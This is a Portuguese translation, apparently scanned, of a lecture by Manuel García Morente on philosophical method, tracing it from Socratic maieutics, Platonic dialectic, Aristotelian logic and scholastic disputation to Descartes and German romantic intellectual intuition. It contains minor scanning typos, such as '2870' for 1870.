Fundamentos de Filosofia de Manuel Garcia Morente
Lições Preliminares
Lição II
O MÉTODO DA FILOSOFIA
10.
PRÉVIA DISPOSIÇÃO DE ÂNIMO: ADMIRAÇÃO, RIGOR. — 11. SÓCRATES: & MAIÈUTICA.
— 12. PLATÃO: A DIALÉTICA; O MITO DA REMINISCÊNCIA. — 13. ARISTÓTELES: A
LÓGICA. — 14. IDADE MÉDIA: A DISPUTA. — 15. O MÉTODO DE DESCARTES. – 18.
TRANSCENDÊNCIA E IMANÊNCIA. – 17. A INTUIÇÃO INTELECTUAL.
10.
Prévia disposição de ânimo: admiração, rigor.
Acontece
com o método algo muito semelhante ao que nos aconteceu com o conceito ou
definição da filosofia.
O
método da filosofia, com efeito, pode definir-se, descrever-se; mas a definição
que dele se der, a descrição que dele se fizer, será sempre externa, será
sempre formularia; não terá conteúdo vivo, não estará cheia de vivência, se nós
mesmos não praticamos esse método.
Pelo
contrário, essa mesma definição, essa mesma descrição dos métodos filosóficos
adquire uma feição, um aspecto real, profundo, vi-vente, quando de verdade já
nos familiarizamos com ele.
Assim,
ter de descrever o método filosófico antes de ter feito filosofia é uma empresa
possível, tanto que vamos tentá-la; mas ó muito menos útil que as reflexões
sobre o método que pudermos fazer mais tarde, quando já nossa experiência vital
estiver cumulada de intuições filosóficas, quando nós mesmos tivermos
exercitado lá repetidamente nosso espírito no preparo desse mel que a abelha
humana destila e que chamamos filosofia.
De
todas as maneiras, do mesmo modo que na lição anterior tentei uma descrição
geral do território filosófico, vou tentar nesta também uma descrição dos
principais métodos que se usam na filosofia, avisando, desde já, que somente
mais adiante é que essas determinações conceituais, que hoje enumeramos,
encontrarão a plenitude do seu verdadeiro sentido.
Para
abordar a filosofia, para entrar no território da filosofia, é absolutamente
indispensável uma primeira disposição de ânimo. É
absolutamente
indispensável que o aspirante a filósofo sinta a necessidade de levar a seu
estudo uma disposição infantil. Quem quiser ser filósofo necessitará
puerilizar-se, infantilizar-se, transformar-se em menino.
Em
que sentido faço esta paradoxal afirmação de que convém que o filósofo se
puerilize? Faço-a no sentido de que a disposição de ânimo para filosofar deve
consistir essencialmente em perceber e sentir por toda a parte, tanto no mundo
da realidade sensível, como no mundo dos objetos ideais, problemas, mistérios;
admirar-se de tudo. sentir o profundamente arcano e misterioso de tudo isso;
colocar-se ante o universo e o próprio ser humano com um sentimento de
estupefação, de admiração, de curiosidade insaciável, como a criança que não
entende nada e para quem tudo é problema.
Esta
é a disposição primária que deve levar ao estudo da filosofia o principiante.
Diz Platão que a primeira virtude do filósofo é admirar-se; Thaumátzein — diz
em grego — donde vem a palavra "taumaturgo". Admirar-se, sentir essa
divina inquietação que faz com que, lá onde os1‘outros passam
tranqüilos, sem. vislumbrar sequer que existem problemas, aquele que tem uma
disposição filosófica esteja sempre inquieto, intranqüilo, percebendo na mais
pequenina coisa problemas, arcanos, mistérios, incógnitas que os demais não
vêem.
Aquele
para quem tudo resulta muito natural, para quem tudo resulta muito fácil de
entender, para quem tudo resulta muito óbvio, nunca poderá ser filósofo.
O
filósofo necessita, pois, uma primeira dose de infantilidade; uma capacidade de
admiração, que o homem já feito, que o homem já enrijecido, encanecido, não
costuma possuir. Por isso Platão preferia tratar com jovens a tratar com
velhos. Sócrates, o mestre de Platão, andava entre a mocidade de Atenas, entre
as crianças e as mulheres. Realmente, para Sócrates os grandes atores do drama
filosófico são os jovens e as mulheres.
Essa
admiração, pois, é uma disposição fundamental para a filosofia. E resumindo
esta exposição, poderemos defini-la, agora já de um modo conceitual, como a
capacidade de tudo problematizar, de converter tudo em problemas.
Outra
segunda disposição que convém muitíssimo ao trabalho filosófico é a que
poderíamos chamar o espírito de rigor no pensamento, a exigência de rigor, a
exigência de exatidão. Nesse sentido, também se poderia dizer que a idade
melhor para começar a filosofar é a mocidade. O jovem não admite passos em
falso nas coisas do espírito. O jovem tem uma exigência de rigor, uma exigência
de racionalidade, de intelectualidade, que o homem já idoso, com o cepticismo
que traz a idade, não costuma nunca possuir.
Esta
exigência de rigor há de ter para nós que vamos fazer filosofia, dois aspectos
fundamentais. De uma parte, a de levar-nos a eliminar o mais possível de nossas
considerações as cômodas, mas perfeitamente inúteis, tradições da sabedoria
popular. Existe uma sabedoria popular que se condensa em ditados, em
tradições, em idéias, que a massa do povo traz e leva. A filosofia não é isto.
A filosofia, pelo contrário, há de reagir contra essa suposta sabedoria
popular.
A
filosofia tem que levar à solução dos seus problemas um rigor metódico que é
incompatível com a excessiva facilidade com que essas concepções da sabedoria
popular passam de mente em mente e enraízam na maior parte dos espíritos.
Mas,
de outro lado, haveremos de reagir com não menos violência contra o defeito
contrário que é o de imaginar que a filosofia deve ser feita como as ciências;
que a filosofia não pode ser senão a síntese dos resultados obtidos pelas
ciências positivas. Não existe nada mais desanimador que o espetáculo oferecido
pelos cientistas mais ilustres nas disciplinas positivas, sobretudo no
transcurso destes últimos trinta ou quarenta anos, quando se puseram a
filosofar sem saber filosofia. O fato de ter descoberto uma nova estrela no
firmamento ou de ter exposto uma nova lei da gravitação universal, não autoriza
e muito menos justifica, ou legitima, que um físico de toda a vida, um
matemático de sempre, ponha-se de repente, sem preparação alguma, sem
exercitação prévia, a fazer filosofia. Lamentavelmente, costuma acontecer que
grandes figuras da ciência, merecedoras de toda nossa veneração, toda nossa
admiração, expõem-se às vezes ao ridículo, porque se metem a filosofar de
maneira absolutamente pueril e quase selvagem.
Teremos,
pois, de fugir das generalizações apressadas da ciência, quando estas
ultrapassam os limites estreitos a que está reduzida cada disciplina e que
constituem o âmbito das chamadas especialidades. O fato, por exemplo, de ter
descoberto o neurônio, o elemento mínimo do sistema nervoso, não pode autorizar
o neurólogo, por Ilustre e sábio que seja, a escrever vulgaridades e
trivialidades sobre os problemas elementares da filosofia.
É
preciso convencer-se, de outra parte — e sobre isto voltaremos repetidas vezes
— de que a filosofia não é ciência. A filosofia é uma disciplina tão rigorosa,
tão estritamente rigorosa e difícil como a ciência; porém não é ciência, porque
entre ambas há muita’ diferença de propósito e de método, e entre outras
diferenças existe esta: que cada ciência tem um objeto delimitado, enquanto
que, conforme vimos na lição anterior, a filosofia se ocupa de qualquer objeto
em geral.
Feitas
estas advertências, tendo explicitamente descrito as duas disposições de ânimo
que me parecem necessárias para abordar os problemas filosóficos, daremos um
passo mais além e entraremos na descrição propriamente dita dos que poderão ser
chamados métodos da filosofia.
11.
Sócrates: a maiêutica.
Para
fazer esta descrição dos métodos filosóficos vamos recorrer a história do
pensamento filosófico, à história da filosofia.
Se
seguirmos atenta, embora rapidamente, a série dos métodos aplicados pelos
grandes filósofos da Antigüidade, da Idade, Média e da Idade Moderna, poderemos
ir respigando em todos eles alguns elementos fundamentais do método filosófico,
que resumiremos ao final desta lição.
Propriamente
falando, foi a partir de Sócrates, ou seja, no século IV antes de Jesus
Cristo, em Atenas, que começou a haver uma filosofia consciente de si mesma e
sabedora dos métodos que empregava. Sócrates é, na realidade, o primeiro
filósofo que nos fala do seu método. Sócrates nos conta como filosofa.
Qual
é o método que Sócrates emprega? Ele próprio o denominou a maiêutica. Isto não
significa mais do que a interrogação. Sócrates pergunta. O método da filosofia
consiste em perguntar.
Quando
se trata, para Sócrates, de definir, de chegar à essência de algum conceito,
sai de sua casa, vai à praça pública de Atenas, e a toda pessoa que passa por
diante dele chama e pergunta: "Que é isto?" Assim, por exemplo, um
dia Sócrates sai de sua casa preocupado em averiguar o que é a coragem, que é
ser corajoso. Chega à praça pública e se encontra com um general ateniense.
Então diz para si: "Aqui está; este é quem sabe o que é ser corajoso,
visto que é o general, o chefe." E se aproxima e lhe diz: "Que é a
coragem? Você, que é um general do exército ateniense, tem que saber o que é a
coragem," Então o outro lhe diz: "Pois é claro! Como não vou saber eu
o que é a coragem? A coragem consiste em atacar o inimigo e nunca fugir."
Sócrates coca a cabeça e lhe diz: "Essa sua resposta não é totalmente
satisfatória"; e lhe faz ver que muitas vezes nas batalhas os generais
ordenam ao exército retroceder para atrair o inimigo a uma determinada posição
e nessa posição lhe cair em cima e destruí-lo. Então o general retifica e diz:
"Bem, você tom razão." E dá outra definição; e sobre esta segunda
definição Sócrates exerce outra vez sua crítica interrogativa. Continua não
ficando satisfeito e pedindo outra nova definição; e assim, à força de interrogações,
faz com que a definição primeiramente dada vá passando por sucessivos
aperfeiçoamentos, por extensões, por reduções, até ficar o mais exata possível.
Nunca até chegar a ser perfeita.
Nenhum
dos diálogos de Sócrates que nos conservou Platão — onde reproduz com bastante
exatidão os espetáculos ou cenas que ele presenciara — consegue chegar a uma
solução satisfatória; todos se interrompem, como dando a entender que o
trabalho de continuar perguntando e continuar encontrando dificuldades,
interrogações e mistérios na última definição dada, não pode nunca acabar.
12.
Platão; a dialética, o mito da reminiscência.
Este
método socrático da interrogação, da pergunta e da resposta, é o que Platão,
discípulo de Sócrates, aperfeiçoa. Platão aperfeiçoa a maiêutica de Sócrates e
a transforma no que ele chama dialética.
A
dialética platônica conserva os elementos fundamentais da maiêutica socrática.
A dialética platônica conserva a idéia de que o método filosófico é uma
contraposição., não de opiniões distintas, mas de uma opinião e a crítica da
mesma. Conserva, pois, a idéia de que é preciso partir de uma hipótese primeira
e depois ir melhorando-a à força das críticas que se lhe fizerem, e essas
críticas onde melhor se fazem é no diálogo, no intercâmbio de afirmações e
negações; e por isso a denomina de dialética.
Vamos
ver quais são os princípios, as essências filosóficas, que estão na base
deste procedimento dialético.
A
dialética se decompõe, para Platão, em dois momentos. Um primeiro momento
consiste na intuição da idéia; um segundo momento consiste no esforço crítico
para esclarecer esta intuição da idéia. De modo que, primeiramente, quando nos
situamos ante a necessidade de resolver um problema, quando sentimos essa admiração
que Platão elogia tanto, essa admiração diante do mistério, quando estamos
diante do mistério, diante da interrogação, diante do problema, a primeira
coisa que o espírito faz é jogar-se como uma flecha, como uma intuição que
dispara em direção à idéia da coisa, em direção à idéia do mistério que se tem
diante. Mas essa primeira intuição da idéia é uma intuição grosseira,
insuficiente. Mais que a própria intuição, é a designação do caminho por onde
iremos em direção à conquista dessa idéia. E então constitui-se a dialética
propriamente dita em seu segundo momento, que consiste em que os esforços sucessivos
do espírito para intuir, para ver, para contemplar, ou, como se diz em grego,
theoréin (daí provém a palavra "teoria") as idéias, vão-se depurando
cada vez mais, aproximando-se cada vez mais da meta, até chegar a uma
aproximação, a maior possível, nunca à coincidência absoluta com a idéia,
porque esta é algo que se encontra num mundo do ser tão diferente do mundo de
nossa realidade vivente que os esforços do homem para atingir esta realidade
vivente, para chegar ao mundo dessas essências eternas, imóveis e puramente
inteligíveis que são as idéias, nunca podem ser perfeitamente bem sucedidos.
Tudo
isto expõe Platão de uma maneira viva, interessante, por meio dessas ficções do
que tanto gosta. Ele gosta muito de expor seus pensamentos filosóficos sob a
forma do que ele mesmo denomina "contos", como os contos que os
velhos contam às crianças; denomina-os com a palavra grega mito.
Pois
Platão gosta muito dos mitos, e para expressar seu pensamento filosófico apela
a eles muitas vezes. Assim, para expressar seu pensamento da intuição, da idéia
e da dialética, que nos conduz a depurar essa intuição, emprega o mito da
"reminiscência". Narra o conto seguinte: As almas humanas, antes de
viver neste mundo e de alojar-se cada uma delas num corpo de homem, viveram em
outro mundo, viveram no mundo onde não há homens, nem coisas sólidas, nem
cores, nem odores, nem nada que passe e mude, nem nada que flua no tempo e no
espaço. Viveram num mundo de puras essências intelectuais, no mundo das idéias.
Esse mundo está num lugar que Platão metaforicamente denomina lugar celeste,
topos uranos. Lá vivem as almas em perpétua contemplação das belezas
imperecíveis das idéias, conhecendo a verdade sem nenhum esforço porque a têm
intuitivamente pela frente, sem nascer nem morrer, em absoluta eternidade.
Mas
essas almas, de vez em quando, vêm à terra e se alojam num corpo humano
dando-lhe vida. Estando na terra e alojando-se num corpo humano, naturalmente
têm que submeter-se às condições em que se desenvolve a vida na terra, às
condições da espacialidade, da temporalidade, do nascer e do morrer, da dor e
do sofrimento, da insuficiência dos esforços, da brevidade da vida, das
desilusões, da ignorância e do esquecimento. Estas almas esquecem, esquecem as
idéias que conheceram quando viviam ou estavam no topos uranos, no lugar
celeste onde moram as idéias. Esquecidas de suas idéias, estão e vivem no
mundo. Mas como estiveram antes nesse topos uranos, onde estão as idéias,
bastará algum esforço bem dirigido, bastarão algumas perguntas bem feitas para
que, do fundo do esquecimento, por meio da reminiscência vislumbrem alguma vaga
lembrança dessas idéias.
Logo
que Platão narra este conto (porque é um conto, não vamos crer que Platão
acredita em tudo isto) a uns amigos seus em Atenas, estes ficam um pouco
receosos; pensam: Parece que este senhor está caçoando. Então Platão lhes diz:
"Vou demonstrá-lo a vocês." Nesse momento passa por lá um rapaz de
quinze anos, escravo de um dos participantes da reunião. Platão lhe diz:
"Mênon, seu escravo sabe matemática?" "Não, homem; que há de
saber! É um criado, um escravo de minha casa." "Pois, que venha
aqui; você vai ver."
Então
Sócrates (que nos diálogos de Platão é sempre o porta-voz) começa a perguntar.
Diz-lhe: "Vamos ver, rapaz: imagina três linhas retas", e o rapaz as
imagina. E assim, à força de perguntas bem feitas, vai tirando dele toda a
geometria. E diz Sócrates: "Vêem? Não a sabia? Pois a sabe! está
recordando-a dos tempos em que vivia no lugar celeste das idéias."
As
perguntas bem feitas, o esforço por dirigir a intuição para a essência do
objeto proposto, pouco a pouco e não de chôfre, com uma série de flechadas
sucessivas, encaminhando o esforço do espírito para onde deve ir, conduzirão à
reminiscência, à recordação daquelas idéias intelectuais que as almas
conheceram e que logo, ao se encarnar em corpos humanos, esqueceram.
A
dialética consiste, para Platão, numa contraposição de intuições sucessivas,
cada uma das quais aspira a ser a intuição plena da idéia, do conceito, da
essência; mas como não pode sê-lo, a intuição seguinte, contraposta à anterior,
retifica e aperfeiçoa essa anterior. E assim sucessivamente, em diálogo ou
contraposição de uma intuição à outra, chega-se a purificar, a depurar o mais
possível esta vista intelectual, esta vista dos olhos do espírito, até
aproximar-se o mais possível dessas essências ideais que constituem a verdade
absoluta.
13.
Aristóteles: a lógica.
Aristóteles,
amigo de Platão, mas, como ele mesmo diz, mais amigo da verdade, desenvolve por
sua vez o método da dialética de uma forma que o faz mudar de aspecto.
Aristóteles atenta principalmente para esse movimento da razão intuitiva que
passa, por meio da contraposição de opiniões, de uma afirmação à seguinte e
desta à seguinte. Esforça-se para reduzir a leis esse trânsito de uma afirmação
à seguinte. Esforça-se para encontrar a lei em virtude da qual de uma
afirmação passamos à seguinte.
Esta
concepção de Aristóteles é verdadeiramente genial porque é a origem daquilo que
chamamos a lógica. Não se pode dizer que seja Aristóteles o inventor da lógica,
visto que já Platão, na sua dialética, possui uma lógica implícita; porém é
Aristóteles que lhe dá estrutura de forma definitiva, a mesma forma que tem
hoje. Não mudou durante todos estes séculos. Dá uma forma e estrutura definitivas
a isto que denominamos a lógica, ou seja a teoria da inferência, de uma
proposição que sai de outra proposição.
As
leis do silogismo, suas formas, suas figuras, são pois, o desenvolvimento que
Aristóteles faz da dialética. Para Aristóteles, o método da filosofia é a
lógica, ou seja a aplicação das leis do pensamento racional que nos permite
passar de uma posição a outra posição por meio das ligações que os conceitos
mais gerais têm com outros menos gerais até chegar ao particular. Essas leis do
pensamento racional são, para Aristóteles, o método da filosofia.
A
filosofia há de consistir, por conseguinte, na demonstração da prova. A prova
das afirmações que se antecipam é que tornam verdadeiras estas afirmações. Uma
afirmação que não está provada não 6 verdadeira, ou pelo menos, como ainda não
sei se é ou não verdadeira, não pode ter atestado de legitimidade no campo do
saber, no campo da ciência.
14.
Idade Média: a disputa.
Esta
concepção da lógica como método da filosofia é herdada de Aristóteles pelos
filósofos da Idade Média, os quais a aplicam com um rigor extraordinário. É
curioso observar como os escolásticos, e dentre eles, principalmente S. Tomás
de Aquino, completam o método da prova, o método do silogismo, com uma espécie
de revivescência da dialética platônica. O método que seguem os filósofos da
Idade Média não é somente, como em Aristóteles, a dedução, a Intuição racional,
mas também a contraposição de opiniões divergentes. S. Tomás, quando examina
uma questão, não semente deduz de princípios gerais os princípios particulares
aplicáveis a ela, mas também coloca em colunas separadas as opiniões dos vários
filósofos, que são umas pró e outras contra; coloca-se frente a frente, Crítica
umas com outras, extrai delas o que pode haver de verdadeiro o o que pode haver
de falso. São como dois exércitos em batalha; são realmente uma revivescência
da dialética platônica. E então o resultado desta comparação de opiniões
diversas, complementado com o exercício da dedução e da prova, dá ensejo às conclusões
firmes do pensamento filosófico.
Se
resumimos o essencial no método filosófico, que, partindo de Sócrates, passando
por Platão e Aristóteles, chega até a plena Idade Média na escolástica,
encontramos que o mais importante deste método é sua segunda parte. Não a
intuição primária de que se parte, pela qual se começa, mas a discussão
dialética com que a intuição deve ler confirmada ou negada. O importante, pois,
nesse método dos filósofos anteriores à Renascença, consiste principalmente no
exercício passional, discursivo; na dialética, no discurso, na contraposição de
opiniões; na discussão dos filósofos entre si ou do filósofo consigo mesmo.
15.
O método de Descartes.
Pelo
contrário, a partir da Renascença, e muito especialmente a partir de Descartes,
o método muda completamente de aspecto, e o acento vai recair agora, não tanto
sobre a discussão posterior à intuição, quando sobre a própria intuição
e os métodos de consegui-la. Quer dizer que se o método filosófico, na
Antigüidade e na Idade Média se exercita principalmente depois de obtida a intuição, o método filosófico na Idade Moderna passa a exercitar-se
principalmente antes de obter a intuição e como meio para obtê-la.
Tomemos
o Discurso do Método, de Descartes, e as idéias filosóficas deste, e
veremos que o que o preocupava era como chegar a uma evidência clara e
distinta; quer dizer, como chegar a uma intuição indubitável da verdade. Os
caminhos que conduzem a esta intuição (não os que depois da intuição a
garantem, a provam, a retificam ou a depuram, mas os que conduzem a ela) são os
que principalmente Interessam a Descartes. O método é, pois, agora
pré-intuitivo, e tem como propósito essencial conseguir a intuição. Como se
pode conseguir a intuição? Não se pode consegui-la ruiis que de um modo, que é procurando-a; quer dizer, dividindo em partes todo objeto que se nos
ofereça confuso, obscuro, não evidente, até que algumas dessas partes se tornem
para nós um objeto claro, intuitivo e evidente. Então já temos a intuição.
16.
Transcendência e imanência.
Operou-se
aqui uma mudança radical com respeito à concepção que tinha Platão do mundo e
da verdade. Platão tinha do mundo e da verdade a concepção de que este mundo em
que vivemos é o reflexo pálido do mundo em que não vivemos e que é a morada
da verdade absoluta. São, pois, dois mundos. Tinha-se que ir deste para aquele.
Tinha-se que estar seguro, o mais possível, de que a intuição que
daquele temos é a exata e verdadeira. Pelo contrário, para Descartes este
mundo em que vivemos e o mundo da verdade são um só e mesmo mundo. O que
acontece é que, quando o olhamos pela primeira vez, o mundo em que vivemos nos
aparece revolto, confuso, como um caixão onde há uma multidão de coisas. Porém,
se nessa multidão de coisas, se nessa multidão de conceitos caóticos, se nesse
caixão nos preocupamos vagarosamente por colocar uma coisa aqui e outra lá e
pôr ordem nesse totum revolutum, nesse caixão, então esse mundo
torna-se-nos de repente inteligível, compreendemo-lo, é para nós evidente. Em
que consistiu aqui a consecução dessa evidência? Não consistiu numa fuga
mística deste mundo ao outro mundo, mas antes consistiu numa análise
metódica deste mundo, no fundo do qual está o mundo inteligível das idéias. Não
são dois mundos distintos, mas um dentro do outro, os dois constituindo um todo.
Se
se permite já o uso de uma palavra técnica filosófica, direi que o mundo
de Platão é distinto do mundo em que vivemos; o mundo tías_ idéias,
diferente do mundo real em que vivemos em nossa sensação, é um mundo transcendente,
porque é outro mundo distinto daquele que temos na sensação. A verdade, para
Platão, é transcendente às coisas. A idéia, para Platão, é pois, transcendente
ao objeto que vemos e tocamos. Quando queremos definir um dentre os objetos que
vemos e tocamos, temos que destacá-lo, e escapar para o mundo transcendente das
idéias, completamente distinto, e por isso chamado por Platão
"transcendente". Mas em Descartes, quando queremos partilhar de um
conceito, não escapamos para fora desse conceito a outro mundo, mas antes, por
meio da análise, introduzimos clareza nesse mesmo conceito. É o mesmo conceito
que nos era obscuro e que agora se torna para nós claro. Portanto, o mundo
inteligível em Descartes é imanente, forma parte do mesmo mundo da sensação e
da percepção sensível e não é outro mundo distinto. De modo que o método
cartesiano, e a partir de Descartes o de todos os filósofos, postula a
imanência do objeto filosófico. A intuição tem que discernir, através da
caótica confusão do mundo, todas essas idéias claras e distintas que constituem
sua essência e seu miolo. A análise é, pois, o método que conduz Descartes à
intuição, e a partir deste momento, em toda a filosofia posterior a Descartes,
acentua-se constantemente este instrumento da intuição. Depois de Descartes, a
intuição continua sendo de uma ou de outra forma, segundo os sistemas
filosóficos de que se trate, o método por excelência da filosofia.
17.
A intuição intelectual.
Há
um momento, nos princípios do século XIX, em que os filósofos alemães que
formaram essas formidáveis escolas filosóficas chamadas filosofia romântica
alemã (refiro-me a Fichte, Schelling, Hegel), consideram que o método essencial
da filosofia é aquilo que eles chamam a intuição intelectual. Há aparentemente
nestes termos uma contradição, porque a intuição não é intelectual. Parece que
intuição e intelectual são termos que se excluem um ao outro, que se repelem,
visto que a intuição é um ato simples, por meio do qual captamos a realidade
ideal de algo; e, pelo contrário, intelectual refere-se ao trânsito ou passagem
de uma idéia a outra, a aquilo que Aristóteles desenvolve sob a forma da
lógica.
Pois
bem; o essencial no pensamento destes filósofos é considerar a intuição
intelectual como o método da filosofia. Por que consideram a intuição
intelectual como o método da filosofia? Porque dão a razão humana uma dupla
missão. De uma parte, a de penetrar intuitivamente no coração, na essência
mesma das coisas, na forma antes exposta ao falar de Descartes, descobrindo o
mundo imanente das essências rncionais sob o invólucro do mundo aparente das
percepções sensíveis. Mas, além disso, consideram que a segunda missão da
razão é, partindo dessa intuição intelectual, construir a priori, sem se
valer da experiência para nada, de um modo puramente apriorístico, mediante
conceitos e formas lógicas, toda a armação, toda a estrutura do universo e do
homem dentro do universo.
São,
pois, dois momentos no método filosófico, e deles um primeiro de intuição
fundamental, intelectual. O filósofo alemão da época romântica (Fichte,
Schelling, Hegel, Krause, Hartmann, Schopenhauer tem na sua vida uma espécie de
iluminação mística, uma intuição intelectual, que lhe permite penetrar na
essência mesma da verdade; e depois, essa intuição é a que se desenvolve pouco
a pouco em forma variadíssima, na filosofia da natureza, na filosofia do
espírito, na filosofia da história, em múltiplos livros, é como um acorde musical que informa e
dá unidade a todas as construções filosóficas. É o que eles chamavam então
"construção do sistema".
Como
chega aos filósofos alemães de começos do século XIX esta concepção do método
da filosofia? Que foi aquilo que lhes fez perceber que o método da filosofia
tinha que consistir numa primária intuição, numa radical intuição, e logo no
desenvolvimento dessa intuição nas múltiplas formas da natureza, do espírito,
da história, do homem etc? Perceberam essa maneira de ver, essa concepção do
método, porque todos eles estavam alimentados, imbuídos da filosofia de Kant. Pois
bem; a filosofia de Kant é complexa; é um sistema complicado, difícil; porém um
dos seus elementos essenciais, primordiais, fundamentais, consiste na
distinção que Kant faz entre o mundo sensível fenomênico (fenomênico significa
o mesmo que sensível, para o caso, na filosofia de Kant) e o mundo das coisas
em si mesmas independentemente de que apareçam como fenômenos para nós.
Essa
distinção que faz Kant entre o mundo da realidade independente de mim e o
mundo da realidade tal como aparece em mim, leva-o a considerar que cada uma
das coisas de nosso mundo sensível e todas elas em conjunto não são mais do
que a explicitação no espaço e no tempo de algo incógnito, profundo e
misterioso, que está debaixo do espaço e do tempo.
Esse
algo incógnito, profundo e misterioso, que, estando debaixo do espaço e do
tempo, se expande e floresce em múltiplas diversificações que chamamos as
coisas, os homens, o céu, a terra e o mundo em geral, é o que proporciona a
todos estes filósofos do romantismo alemão a seguinte idéia: Pois bem; se isso
é assim, o maravilhoso será chegar, com uma visão intuitiva do espírito, a esse
quid, a esse algo profundo, incógnito e misterioso que contém a essência e a definição
de tudo o mais; e quando tivermos chegado a captar, por meio de uma visão do
espírito, essa coisa em si mesma, ou, como eles chamam também, o absoluto,
então, com uma mirada do espírito, teremos a totalidade do absoluto e iremos
tirando sem dificuldade, desse absoluto que teremos captado intuitivamente, uma
por uma, todas as coisas concretas do mundo.____
Por
isso sua filosofia implicava sempre dois movimentos. Um movimento, por assim
dizer, místico, de penetração do absoluto, e logo, outro movimento de
eflorescêncía e de explicitação do absoluto nas suas múltiplas formas da arte,
da natureza, do espírito, da história, do homem etc.
Essa
maneira ou método de filosofar domina, de uma ou outra forma, na Alemanha,
desde 1800 até 2870 aproximadamente. Quando esta maneira de filosofar decai, é
substituída por outro estilo que implica naturalmente, outro método de
filosofia. Na próxima lição prosseguiremos do nosso ponto de parada e então
veremos que, apesar de que os filósofos contemporâneos, desde o ano 1870, mudam
completamente sua idéia sobre o método, não deixam de conservar o essencial
método filosófico, tanto dos antigos como dos modernos a partir da Renascença.
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